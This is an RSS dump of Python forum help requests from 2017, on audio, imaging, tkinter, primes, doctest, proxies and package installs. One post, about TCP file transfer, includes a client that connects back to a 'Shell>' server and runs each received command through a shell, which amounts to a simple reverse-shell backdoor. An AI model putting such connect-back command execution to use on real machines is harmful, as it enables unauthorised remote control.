Dev Shed Forums - Python Programming http://forums.devshed.com/ Python Programming forum discussing coding techniques, tips and tricks, and Zope related information. Python was designed from the ground up to be a completely object-oriented programming language. en Tue, 17 Oct 2017 11:34:02 GMT vBulletin 60 http://forums.devshed.com/images/misc/rss.png Dev Shed Forums - Python Programming http://forums.devshed.com/ <![CDATA[PyAudio Example program: [Errno Input overflowed] - CHANNELS]]> http://forums.devshed.com/python-programming/979273-pyaudio-example-program-errno-input-overflowed-channels-new-post.html Tue, 17 Oct 2017 10:19:39 GMT It seems there are more than 1 solution to this, including buffer size, sample rate etc, but I have not seen this one given elsewhere.

In case anyone is having problems running the pyaudio examples like I was please see if this is not your issue

I was running the "Record a few seconds of audio and save to a WAVE file" example program

The error I got was

Traceback (most recent call last):
File "rec_and_play.py", line 46, in <module>
data = input_stream.read(BUFFER_SIZE)
File "/usr/lib/python2.7/dist-packages/pyaudio.py", line 605, in read
return pa.read_stream(self._stream, num_frames)
IOError: [Errno Input overflowed] -9981

Code:

import audioop
To show more I placed this under 'for i in range(...)'
Code:

    data = input_stream.read(BUFFER_SIZE)
    mx = audioop.max(data, 2)
    print mx

The error appeared after a few (2-5) frames lengths were printed

please check the CHANNELS variable.
My audio was mono and it needed CHANNELS=1 in both input and output (if you are using the output). For my situation, this solved the problem.

Technically, of course, this is my error and not the fault of the program. ]]>
Python Programming ocpaul20 http://forums.devshed.com/python-programming-11/pyaudio-example-program-errno-input-overflowed-channels-979273.html
merge drawings N mask http://forums.devshed.com/python-programming/979242-merge-drawings-mask-new-post.html Fri, 13 Oct 2017 02:54:36 GMT I'm writing a program that makes a png file by combining two other png files.

It's joining them together but not quite the way I want it to. It joins drawing 'A'
(which is a transparency) and places it on drawing 'B'. The end result is drawing 'C'
which is not what I want. I want it to look like drawing 'D'.

TechSmith | Screencast.com, online video sharing, Page not found

The problem is this line

image.paste(Image.open('bres sc4.png'), (int(300),int(400)))

I think that I have to change this to something like what I have written below. Am I on the right track? Will you help me with this line

image.paste(Image.open('bres sc4.png'), (int(300),int(400), mask='bres sc4.png'))) ]]>
Python Programming chris64 http://forums.devshed.com/python-programming-11/merge-drawings-mask-979242.html
python enumerate http://forums.devshed.com/python-programming/979237-python-enumerate-new-post.html Thu, 12 Oct 2017 12:40:25 GMT
Code:


import itertools

class SoccerTeams:
† ††
† † Groups1 = "Beitar Jerusalem", "VS", "Maccabi Haifa"
† † Groups2 = "Hapoel Tel Aviv", "VS", "Hapoel Beer Sheva"
† † GameNumber = "Game-Number", "250", "260"
† ††
x = SoccerTeams()
print(x.Groups1, x.GameNumber[0], x.GameNumber[1])
print(x.Groups2, x.GameNumber[0], x.GameNumber[2])
print('\n')

for pair in enumerate(itertools.product('1x2', '1x2')):
† † print(pair)







print†output:

('Beitar Jerusalem', 'VS', 'Maccabi Haifa') Game-Number 250
('Hapoel Tel Aviv', 'VS', 'Hapoel Beer Sheva') Game-Number 260

(0, ('1', '1'))
(1, ('1', 'x'))
(2, ('1', '2'))
(3, ('x', '1'))
(4, ('x', 'x'))
(5, ('x', '2'))
(6, ('2', '1'))
(7, ('2', 'x'))
(8, ('2', '2'))


I try to print an example:
This problem is number 0
(1, ('1', '1'))
(2, ('1', 'x'))
(3, ('1', '2'))
(4, ('x', '1'))
(5, ('x', 'x'))
(6, ('x', '2'))
(7, ('2', '1'))
(8, ('2', 'x'))
(9, ('2', '2'))

enumerate†
I could not put number 1 in any option by the example here

for count, item in enumerate(grocery, 1):
† print(count, item) ]]>
Python Programming davidc8 http://forums.devshed.com/python-programming-11/python-enumerate-979237.html
how to set button background with window background http://forums.devshed.com/python-programming/979230-set-button-background-window-background-new-post.html Thu, 12 Oct 2017 07:42:45 GMT hello freinds
i have put an image (self.image) on my window background†
†now,
i need to put another image(mi_but1) on this window..
my problem:
image mi_but1†is put on window with a gray square behind it(a gray square between image mi_but1 and window's background)†
the final gui doesnt look nice
i don't want this gray background...
what should I do? how can i remove this gray square behind the button(button background)? OR how can i put the image of window background(self.image) in behind of the button (button background)
my code:
Code:

from tkinter import *
from PIL import Image, ImageTk

root = Tk()
root.title("Title")
root.geometry("600x600")
root.configure(background="black")

class Example(Frame):
    def __init__(self, master, *pargs):
        Frame.__init__(self, master, *pargs)

        self.image = Image.open("/home/pi/Desktop/images/background/image.png")
        self.img_copy= self.image.copy()


        self.background_image = ImageTk.PhotoImage(self.image)

        self.background = Label(self, image=self.background_image)
        self.background.pack(fill=BOTH, expand=YES)
        self.background.bind('<Configure>', self._resize_image)

        mi_but1=PhotoImage(file="/home/pi/Downloads/images/buttons/starlarg.png")
        button2 = Button(self.background, text='button2',image=mi_but1)
        button2.image=mi_but1
        button2.pack(side='top')

    def _resize_image(self,event):

        new_width = event.width
        new_height = event.height

        self.image = self.img_copy.resize((new_width, new_height))

        self.background_image = ImageTk.PhotoImage(self.image)
        self.background.configure(image =  self.background_image)

e = Example(root)
e.pack(fill=BOTH, expand=YES)
root.mainloop()

]]>
Python Programming gray_farz http://forums.devshed.com/python-programming-11/set-button-background-window-background-979230.html
python error code http://forums.devshed.com/python-programming/979214-python-error-code-new-post.html Tue, 10 Oct 2017 10:42:21 GMT Hello everyone
I do not understand Python previously I was able to run the code in Python 3.6.2
it does not work out getting error

Traceback (last last call): file "/Users/davidcohen/Desktop/TEXS1233.py", line 26, for x in s: TypeRrror: iter () Return non-iterator type 'x' Enter code here


class S:

def __init__(self, data=[]):
self.data = data[::]

def push(self, v): self.data.append(v)

def pop(self): return self.data.pop(-1)

def __iter__(self):
class x:
def __init__(self, l): self.l = l[::]
def next(self):
if not self.l: raise StopIteration
return self.l.pop(0)
return x(self.data)
s = S()
s.push('2')
s.push('X')
s.push('1')


for x in s:
for y in s:
x, y, '2', '2'

for x in s:
for y in s:
x, y, 'x', '2'

for x in s:
for y in s:
x, y, '1', '2'




for x in s:
for y in s:
x, y, '2', 'x'

for x in s:
for y in s:
x, y, 'x', 'x'

for x in s:
for y in s:
x, y, '1', 'x'





for x in s:
for y in s:
x, y, '2', '1'

for x in s:
for y in s:
x, y, 'x', '1'

for x in s:
for y in s:
x, y, '1', '1' ]]>
Python Programming davidc8 http://forums.devshed.com/python-programming-11/python-error-code-979214.html
Python 2.7 file transfer with Tcp http://forums.devshed.com/python-programming/979209-python-2-7-file-transfer-tcp-new-post.html Mon, 09 Oct 2017 14:38:55 GMT I'm trying to get my server to send over files to my client. But for some reason i just cant figure it out.
Heres what i have so far.

Server:
Code:

import socket
import os
 
 
path = '/home/joshua/Downloads/hello.text'
 
def send(conn,path):
 
    if os.path.exists(path):
        f = open(path, 'rb')
        program = f.read(1024)
        while program != '':
            conn.send(program)
            program = f.read(1024)
        conn.send('done')
        f.close()
 
def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('127.0.0.1', 8080))
    s.listen(1)
    conn,addr = s.accept()
   
    while True:
       
        command = raw_input('Shell> ')
       
        if 'terminate' in command:
            conn.send('terminate')
            conn.close()
       
        elif 'send' in command:
            send(conn,path)
           
        else:
            conn.send(command)
            conn.recv(1024)
 
def main():
    connect()
main()

Client
Code:

import socket
import os
import subprocess
 
path = '/home/joshua/pyPrograms/file.txt'
 
def recieve(s, path,command):
       
        s.send(command)
        f = open(path, 'wb')
        while True:
            bits = s.recv(1024)
            print(bits)
            if bits.endswith('done'):
                f.close()
                break
            f.write(bits)
       
   
   
 
def connect():
   
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1', 8080))
   
    while True:
       
        command = s.recv(1024)
       
        if 'send' in command:
            recieve(s,path)
       
       
       
       
        else:
            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read() )
            s.send( CMD.stderr.read() )
           
def main():
    connect()
main()

]]>
Python Programming sinister88 http://forums.devshed.com/python-programming-11/python-2-7-file-transfer-tcp-979209.html
<![CDATA[PExpect doesn't work with some Cisco?]]> http://forums.devshed.com/python-programming/979204-pexpect-doesnt-cisco-new-post.html Mon, 09 Oct 2017 05:47:52 GMT Hi,

I'm trying to get some information from Cisco 2960X switches.

This simple script works on a 3560 returning the correct output, but on a 2960 it just returns empty "string".

child = pexpect.spawn('ssh %s@%s' % (USERNAME, DEVICE_IP))
child.timeout = 10
child.expect('Password:')
child.sendline(PASSWORD)
child.expect('#')
# child.sendline('terminal length 0')
# child.expect('#')
child.sendline('show inventory')
child.expect('#')
print(child.before.decode('utf-8'))
child.sendline('exit')

If I print child.after I get the #, so I guess the login is successful.

Anyone have some experience with this or a clue on what is wrong?


--
Ronni ]]>
Python Programming rofe http://forums.devshed.com/python-programming-11/pexpect-doesnt-cisco-979204.html
Combinations of a String http://forums.devshed.com/python-programming/979196-combinations-string-new-post.html Sun, 08 Oct 2017 08:58:25 GMT The following was a job interview question which I struggled with. (Unnecessary switching between list and set, tested it and realised it was missing an expected output, too many steps). If possible, looking for the proper answer or maybe a guide on how I should have tackled the problem. Thank you. Question: Give a String, find all possible combinations from it (Front and Reverse). Print... The following was a job interview question which I struggled with.
(Unnecessary switching between list and set, tested it and realised it was missing an expected output, too many steps).
If possible, looking for the proper answer or maybe a guide on how I should have tackled the problem. Thank you.

Question: Give a String, find all possible combinations from it (Front and Reverse).
Print all combinations and total count of combinations. Order doesn't matter.
Example s = 'polo'
Front Answer = 'p', 'po', 'pol', 'polo', 'ol', 'olo', 'lo', 'o', 'l'.
Reverse Answer: 'o', 'ol', 'olo', 'olop', 'lop', 'op', 'p', 'l'.

My answer:

Code:

count = 0
count2 = -1
length = len(s)
my_list = []
for i in s:
    temp = s[count:]
    temp2 = s[:count2]
    my_list.append(i)
    my_list.append(temp)
    my_list.append(temp2)
    count += 1
    count2 -= 1

my_set = set(my_list)
for f in my_set:
    print(f)
print(len(my_set)) # Answer for front

new_list = []
for f in my_set:
    new_list.append(f[::-1])

print('Reverse Result:')
for f in new_list:
    print(f)
print(len(new_list)) # Answer for reverse

]]>
Python Programming keshk http://forums.devshed.com/python-programming-11/combinations-string-979196.html
python game lives http://forums.devshed.com/python-programming/979133-python-game-lives-new-post.html Fri, 29 Sep 2017 19:47:49 GMT https://app.box.com/s/cv4jitqjeimm0vipsmmoucnfgpzui9gn

that's the link to the zip file for the python code.

I just want to add code for if i get a certain amount of points i will get an extra life. ]]>
Python Programming raichu4evuhs http://forums.devshed.com/python-programming-11/python-game-lives-979133.html
How to get the webpage with socks5 proxy in python3? http://forums.devshed.com/python-programming/979081-webpage-socks5-proxy-python3-new-post.html Sat, 23 Sep 2017 01:55:03 GMT sudo lsof -i:1080
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sslocal 1795 root 4u IPv4 16233 0t0 TCP localhost:socks (LISTEN)
sslocal 1795 root 5u IPv4 16234 0t0 UDP localhost:socks

An app was listening on localhost:1080,it is ready for curl's socks5 proxy.
The app provided socks5 proxy service is shadowsocks client on my pc.

curl can work with socks proxy in my pc.

target="target_url_youtube"
curl --socks5-hostname 127.0.0.1:1080 $target -o /tmp/sample

The target url can be downloaded with scoks5 proxy in curl.

shadowsocks client------->shadowsocks server--->target_url_youtube
127.0.0.1:1080 1xx.1xx.1xx.1xx:port target_url_youtube

Notice:
All the packages from 127.0.0.1:1080 to 1xx.1xx.1xx.1xx:port is sent and received by shadowsocks client and server.
curl just sent packages to 127.0.0.1:1080.


Now i want to get the target webpage with socks proxy in python3.

the first try :

import urllib.request
target="target_url_youtubr"
proxy_support = urllib.request.ProxyHandler({'sock5': 'localhost:1080'})
opener = urllib.request.build_opener(proxy_support)
urllib.request.install_opener(opener)
web = urllib.request.urlopen(target).read()
print(web)

The error info:
sock.connect(sa)
OSError: [Errno 101] Network is unreachable

Notice:
It is no use to write {'sock5': 'localhost:1080'} as {'sock5': '127.0.0.1:1080'},i have verified it.

the second try:

import socks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 1080)
socket.socket = socks.socksocket
import urllib.request
target="target_url_youtubr"
print(urllib.request.urlopen('target').read())

error info:
raise BadStatusLine(line)
http.client.BadStatusLine:

The third try:

import socks
import socket
from urllib import request
socks.set_default_proxy(socks.SOCKS5, "localhost", 1080)
socket.socket = socks.socksocket
target="target_url_youtube"
r = request.urlopen(url)
print(r.read())

ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:600)
urllib.error.URLError: <urlopen error EOF occurred in violation of protocol (_ssl.c:600)>

Why data packet can't send via localhost:1080 and get the target_url_youtube's content,but curl can?
How to fix my python3 code for socks5 proxy?

shadowsocks client---------->shadowsocks server------>target_url_youtube
127.0.0.1:1080 1xx.1xx.1xx.1xx:port target_url_youtube
`curl --socks5-hostname 127.0.0.1:1080 $target -o /tmp/sample` can do the job.
why all the three python codes can't do?
How to fix it? ]]>
Python Programming whaha http://forums.devshed.com/python-programming-11/webpage-socks5-proxy-python3-979081.html
list index out of range http://forums.devshed.com/python-programming/979071-list-index-range-new-post.html Thu, 21 Sep 2017 23:12:57 GMT I'm writing a program to find all of the prime numbers in a given range, and display them evenly through rows and columns, but I recently am stuck needing literally one if-statement and for some reason, I'm just blanking out.

Right before the "print(primes[row + 56 * col], "\t", end = "")" line, I need an if-statement. There are 556 elements in the list, and my table is 56 rows * 10 columns, which is 560. I need a way to just print out the last column even if the last lines in it have blank rows.

Code:

def findPrimes(n):
    """ Return a list of prime numbers between 1 to n. """
    prime_list = [2]
   
    for number in range(3, n, 2):
        if all(number % i != 0 for i in range(2, int(number ** .5) + 1)):
            prime_list.append(number)
           
    return prime_list

def displayTable(n):
    """ Makes a table of rows and columns to display a list. """
    primes = findPrimes(n)
    rows = 56
    columns = 10

    for row in range(rows):
        for col in range(columns):
            print(primes[row + 56 * col], "\t", end = "")
        print()

displayTable(4027)

# statistics
print("\nThe number of primes in the given range is: " + str(len(findPrimes(4027))))

]]>
Python Programming forumer444 http://forums.devshed.com/python-programming-11/list-index-range-979071.html
<![CDATA[(something about django - don't hijack php threads!)]]> http://forums.devshed.com/python-programming/979067-django-dont-hijack-php-threads-new-post.html Thu, 21 Sep 2017 09:25:56 GMT I am trying to make a site where i can divide the site into different member categories like admin,moderators,helpers,users,etc with their own functionalities ... I have once used the Django framework, so my question is can i be able to do this task also using Django again, i mean, can Django fulfill this task's requirements easily so i may not need to roam to other languages or frameworks for this particular task?

P.S.: I know php(framework like laravel or others)can do this task but i was just trying to implement Django since i have used it once already. OR do you recommend frameworks like Rails(i have heard a lot about it specifically on field of web-development,can it do this task). ]]>
Python Programming hirephp http://forums.devshed.com/python-programming-11/django-dont-hijack-php-threads-979067.html
Calculate Compount Interest in Python http://forums.devshed.com/python-programming/979060-calculate-compount-python-new-post.html Wed, 20 Sep 2017 21:04:19 GMT Can some one help me with Compount interest program in python ? Here are my specs: User will input amount of initial deposit. They will also enter the number of years they want the CD for. The program will then ask the user if they are sure on the length of time chosen before continuing on. The application will print out each yearís interest accrued and have a running total of amount... Can some one help me with Compount interest program in python ?

Here are my specs:

User will input amount of initial deposit.
They will also enter the number of years they want the CD for.
The program will then ask the user if they are sure on the length of time chosen before continuing on.
The application will print out each yearís interest accrued and have a running total of amount in the CD.
The interest for this program will be compounded only once a year.
Depending on the length of their deposit, they will have a different interest rate.
The interest rates are below

CD Rates

1 year 1.15%
2 year 1.3%
3 year 1.5%
4 year 1.6%
5 year 1.85%
6 year 1.9%
7 year 1.95%
8 year 2.00%
9 year 2.15%
10 year 2.3 %

At the end of the CDís term, it will display a sum of all interest accrued and total amount that is in the CD account.

any help is highly appreciated ]]>
Python Programming soumya123 http://forums.devshed.com/python-programming-11/calculate-compount-python-979060.html
Trying to make a test for a script where there is a CLI http://forums.devshed.com/python-programming/979045-trying-test-script-cli-new-post.html Tue, 19 Sep 2017 21:03:07 GMT Hi all,

I made this dummy script and I'm trying to use doctest in order to automate several things for testing. One particular problem that I'm having is that when I use raw_input in order to get some input from the user at the CLI, doctest does not fill this information in by default.

The script (unnecessary_math.py):
Code:

#!/usr/bin/env python

"""
Module showing how doctests can be included with source code
Each '>>>' line is run as if in a python shell, and counts as a test.
The next line, if not '>>>' is the expected output of the previous line.
If anything doesn't match exactly (including trailing spaces), the test fails.
"""
 
def multiply(a, b):
  """
  >>> multiply(4, 3)
  12
  >>> multiply('a', 3)
  'aaa'
  """

  return a * b

def main():
  confirm_char = raw_input(" New input: ")
  print ""
  print "This is what was inputted: ", confirm_char

if __name__ == "__main__":
  main()

The doctest test (test_unnecessary_math.txt):
Code:

This is a doctest based regression suite for unnecessary_math.py
Each '>>' line is run as if in a python shell, and counts as a test.
The next line, if not '>>' is the expected output of the previous line.
If anything doesn't match exactly (including trailing spaces), the test fails.
 
>>> from unnecessary_math import multiply
>>> multiply(3, 4)
12
>>> multiply('a', 3)
'aaa'
>>> import unnecessary_math
>>> unnecessary_math.main()
 New input: asdfadsf

This is what was inputted:  asdfadsf

And this is what happens when I try to run my test on the dummy script:
Code:

> python -m doctest -v test_unnecessary_math.txt
Trying:
    from unnecessary_math import multiply
Expecting nothing
ok
Trying:
    multiply(3, 4)
Expecting:
    12
ok
Trying:
    multiply('a', 3)
Expecting:
    'aaa'
ok
Trying:
    import unnecessary_math
Expecting nothing
ok
Trying:
    unnecessary_math.main()
Expecting:
    New input: asdfadsf

**********************************************************************
File "test_unnecessary_math.txt", line 12, in test_unnecessary_math.txt
Failed example:
    unnecessary_math.main()
Expected:
    New input: asdfadsf
Got:
    New input:
    This is what was inputted: 
**********************************************************************
1 items had failures:
  1 of  5 in test_unnecessary_math.txt
5 tests in 1 items.
4 passed and 1 failed.
***Test Failed*** 1 failures.

My question is this. How can automate certain inputs at the command line into my script? Is this something that I can do in doctest or do I need an another approach?

Thanks in advance. ]]>
Python Programming elephantcoder http://forums.devshed.com/python-programming-11/trying-test-script-cli-979045.html
Problems installing zipline http://forums.devshed.com/python-programming/979033-installing-zipline-new-post.html Mon, 18 Sep 2017 11:11:11 GMT Hello all,

I am working on a Windows 7 64 bit OS with Python 3.5.4. I'm having a problem installing zipline.

When I install zipline using pip (python -m pip install zipline) I get this output:
Code:

Collecting zipline
  Using cached zipline-1.1.1.tar.gz
    Complete output from command python setup.py egg_info:
    Unable to find pgen, not compiling formal grammar.
    warning: no files found matching 'Doc\*'
    warning: no files found matching '*.pyx' under directory 'Cython\Debugger\Tests'
    warning: no files found matching '*.pxd' under directory 'Cython\Debugger\Tests'
    warning: no files found matching '*.pxd' under directory 'Cython\Utility'
    Scanners.c
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(2771): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(2781): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(2791): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(2823): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(2845): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(2859): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(3242): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.c(3318): warning C4244: '=': conversion from 'Py_ssiz
e_t' to 'long', possible loss of data
    Scanners.obj : warning LNK4197: export 'PyInit_Scanners' specified multiple times; using first specification
      Creating library build\temp.win-amd64-3.5\Release\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.cp3
5-win_amd64.lib and object build\temp.win-amd64-3.5\Release\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Plex\Scanners.
cp35-win_amd64.exp
    Generating code
    Finished generating code
    LINK : fatal error LNK1158: cannot run 'rc.exe'
    Traceback (most recent call last):
      File "C:\Python\Python35\lib\distutils\_msvccompiler.py", line 478, in link
        self.spawn([self.linker] + ld_args)
      File "C:\Python\Python35\lib\distutils\_msvccompiler.py", line 501, in spawn
        return super().spawn(cmd)
      File "C:\Python\Python35\lib\distutils\ccompiler.py", line 909, in spawn
        spawn(cmd, dry_run=self.dry_run)
      File "C:\Python\Python35\lib\distutils\spawn.py", line 38, in spawn
        _spawn_nt(cmd, search_path, dry_run=dry_run)
      File "C:\Python\Python35\lib\distutils\spawn.py", line 81, in _spawn_nt
        "command %r failed with exit status %d" % (cmd, rc))
    distutils.errors.DistutilsExecError: command 'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\BIN\\x86_amd64\\link.exe' failed with exi
t status 1158

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
      File "C:\Python\Python35\lib\distutils\core.py", line 148, in setup
        dist.run_commands()
      File "C:\Python\Python35\lib\distutils\dist.py", line 955, in run_commands
        self.run_command(cmd)
      File "C:\Python\Python35\lib\distutils\dist.py", line 974, in run_command
        cmd_obj.run()
      File "C:\Python\Python35\lib\site-packages\setuptools\command\bdist_egg.py", line 161, in run
        cmd = self.call_command('install_lib', warn_dir=0)
      File "C:\Python\Python35\lib\site-packages\setuptools\command\bdist_egg.py", line 147, in call_command
        self.run_command(cmdname)
      File "C:\Python\Python35\lib\distutils\cmd.py", line 313, in run_command
        self.distribution.run_command(command)
      File "C:\Python\Python35\lib\distutils\dist.py", line 974, in run_command
        cmd_obj.run()
      File "C:\Python\Python35\lib\site-packages\setuptools\command\install_lib.py", line 11, in run
        self.build()
      File "C:\Python\Python35\lib\distutils\command\install_lib.py", line 107, in build
        self.run_command('build_ext')
      File "C:\Python\Python35\lib\distutils\cmd.py", line 313, in run_command
        self.distribution.run_command(command)
      File "C:\Python\Python35\lib\distutils\dist.py", line 974, in run_command
        cmd_obj.run()
      File "C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Distutils\old_build_ext.py", line 185, in run
      File "C:\Python\Python35\lib\distutils\command\build_ext.py", line 339, in run
        self.build_extensions()
      File "C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\Cython\Distutils\old_build_ext.py", line 193, in build_extensions
      File "C:\Python\Python35\lib\distutils\command\build_ext.py", line 558, in build_extension
        target_lang=language)
      File "C:\Python\Python35\lib\distutils\ccompiler.py", line 717, in link_shared_object
        extra_preargs, extra_postargs, build_temp, target_lang)
      File "C:\Python\Python35\lib\distutils\_msvccompiler.py", line 481, in link
        raise LinkError(msg)
    distutils.errors.LinkError: command 'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\BIN\\x86_amd64\\link.exe' failed with exit status
1158

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 157, in save_modules
        yield saved
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 198, in setup_context
        yield
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 248, in run_setup
        DirectorySandbox(setup_dir).run(runner)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 278, in run
        return func()
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 246, in runner
        _execfile(setup_script, ns)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 47, in _execfile
        exec(code, globals, locals)
      File "C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\setup.py", line 338, in <module>
      File "C:\Python\Python35\lib\distutils\core.py", line 163, in setup
        raise SystemExit("error: " + str(msg))
    SystemExit: error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\BIN\\x86_amd64\\link.exe' failed with exit status 1158

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
      File "C:\Python\Python35\lib\site-packages\setuptools\command\easy_install.py", line 1101, in run_setup
        run_setup(setup_script, args)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 251, in run_setup
        raise
      File "C:\Python\Python35\lib\contextlib.py", line 77, in __exit__
        self.gen.throw(type, value, traceback)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 198, in setup_context
        yield
      File "C:\Python\Python35\lib\contextlib.py", line 77, in __exit__
        self.gen.throw(type, value, traceback)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 169, in save_modules
        saved_exc.resume()
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 144, in resume
        six.reraise(type, exc, self._tb)
      File "C:\Python\Python35\lib\site-packages\pkg_resources\_vendor\six.py", line 685, in reraise
        raise value.with_traceback(tb)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 157, in save_modules
        yield saved
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 198, in setup_context
        yield
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 248, in run_setup
        DirectorySandbox(setup_dir).run(runner)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 278, in run
        return func()
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 246, in runner
        _execfile(setup_script, ns)
      File "C:\Python\Python35\lib\site-packages\setuptools\sandbox.py", line 47, in _execfile
        exec(code, globals, locals)
      File "C:\Users\Dominic\AppData\Local\Temp\easy_install-ysjfyyah\Cython-0.26.1\setup.py", line 338, in <module>
      File "C:\Python\Python35\lib\distutils\core.py", line 163, in setup
        raise SystemExit("error: " + str(msg))
    SystemExit: error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\BIN\\x86_amd64\\link.exe' failed with exit status 1158

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\Dominic\AppData\Local\Temp\pip-build-y1cjgf5v\zipline\setup.py", line 317, in <module>
        **conditional_arguments
      File "C:\Python\Python35\lib\distutils\core.py", line 108, in setup
        _setup_distribution = dist = klass(attrs)
      File "C:\Python\Python35\lib\site-packages\setuptools\dist.py", line 315, in __init__
        self.fetch_build_eggs(attrs['setup_requires'])
      File "C:\Python\Python35\lib\site-packages\setuptools\dist.py", line 361, in fetch_build_eggs
        replace_conflicting=True,
      File "C:\Python\Python35\lib\site-packages\pkg_resources\__init__.py", line 850, in resolve
        dist = best[req.key] = env.best_match(req, ws, installer)
      File "C:\Python\Python35\lib\site-packages\pkg_resources\__init__.py", line 1122, in best_match
        return self.obtain(req, installer)
      File "C:\Python\Python35\lib\site-packages\pkg_resources\__init__.py", line 1134, in obtain
        return installer(requirement)
      File "C:\Python\Python35\lib\site-packages\setuptools\dist.py", line 429, in fetch_build_egg
        return cmd.easy_install(req)
      File "C:\Python\Python35\lib\site-packages\setuptools\command\easy_install.py", line 665, in easy_install
        return self.install_item(spec, dist.location, tmpdir, deps)
      File "C:\Python\Python35\lib\site-packages\setuptools\command\easy_install.py", line 695, in install_item
        dists = self.install_eggs(spec, download, tmpdir)
      File "C:\Python\Python35\lib\site-packages\setuptools\command\easy_install.py", line 876, in install_eggs
        return self.build_and_install(setup_script, setup_base)
      File "C:\Python\Python35\lib\site-packages\setuptools\command\easy_install.py", line 1115, in build_and_install
        self.run_setup(setup_script, setup_base, args)
      File "C:\Python\Python35\lib\site-packages\setuptools\command\easy_install.py", line 1103, in run_setup
        raise DistutilsError("Setup script exited with %s" % (v.args[0],))
    distutils.errors.DistutilsError: Setup script exited with error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\BIN\\x86_amd6
4\\link.exe' failed with exit status 1158

    ----------------------------------------

I can't work out what I'm doing wrong.
The path to the build tools appear to be correct although there is no 'rc.exe' in the build tool directory.
Code:

LINK : fatal error LNK1158: cannot run 'rc.exe'
Do I need to use an earlier version of MS compiler? How can I change the build path it is using?

Has anyone else seen these kinds of problems before? ]]>
Python Programming Swarvy http://forums.devshed.com/python-programming-11/installing-zipline-979033.html